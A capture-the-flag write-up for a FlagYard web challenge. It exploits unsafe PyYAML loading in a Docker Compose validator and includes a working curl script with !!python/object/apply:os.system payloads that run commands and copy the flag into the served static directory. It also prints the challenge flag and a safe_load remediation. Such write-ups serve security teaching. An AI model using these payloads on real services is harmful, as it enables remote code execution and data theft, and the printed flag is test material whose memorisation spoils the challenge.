LMAy
Author: 0xIDA
Solvers
Platform: FlagYard · Category: web · Difficulty: easy
Summary
A "Docker Compose validator" web app parsed user-supplied YAML with yaml.load using an unsafe loader (FullLoader/UnsafeLoader) instead of yaml.safe_load. This allows !!python/object/apply constructors, giving blind remote code execution. Output was exfiltrated by writing into the app's served /static/ directory.
Solution
Step 1: Map the validator and find the parser quirk
The form POSTs YAML to /. Responses have two states: alert-success ("Docker Compose file is valid! 🎉") and alert-danger ("Invalid Docker Compose format").
Key findings:
- A top-level
version:key is required to reach the deeper parsing path. !!python/object/apply:os.systemis accepted, but an arbitrary!customtagis rejected.safe_loadrejects both — so the backend uses a Python-aware loader (yaml.loadwith FullLoader/UnsafeLoader).
Step 2: Confirm blind RCE via timing, then build an output channel
os.system runs commands but returns no visible output, so a time side-channel proves execution: baseline ~1.6s vs ~5–6s with a sleep 5 payload. To read output, redirect it into the web-served /static/ directory (uid 1000 owns /app/static/) and fetch it back over HTTP.
#!/usr/bin/env bash
# Full solve: unsafe-YAML RCE -> exfiltrate flag via /static/
BASE="http://tgvldeleqq-0.playat.flagyard.com/"
# 1) Locate the flag (writes a directory listing into the served static dir)
curl -sS --max-time 40 -X POST "$BASE" --data-urlencode "docker_compose=version: '3'
services:
web:
image: nginx
x: !!python/object/apply:os.system ['ls -la /app > /app/static/out.txt 2>&1']" >/dev/null
sleep 2
curl -sS "${BASE}static/out.txt" # reveals /app/flag.txt
# 2) Copy the flag into the served static dir and fetch it
curl -sS --max-time 40 -X POST "$BASE" --data-urlencode "docker_compose=version: '3'
services:
web:
image: nginx
x: !!python/object/apply:os.system ['cp /app/flag.txt /app/static/flag_out.txt; chmod 644 /app/static/flag_out.txt']" >/dev/null
sleep 2
echo -n 'FLAG: '
curl -sS "${BASE}static/flag_out.txt"
Running the script prints:
FLAG: FlagY{9741a0c3d6bae6e9e87dd0fd2d31089c}
Remediation
Replace yaml.load(data) with yaml.safe_load(data). This removes the !!python/... constructor path and reduces the bug from RCE to a harmless schema check.
Flag
FlagY{9741a0c3d6bae6e9e87dd0fd2d31089c}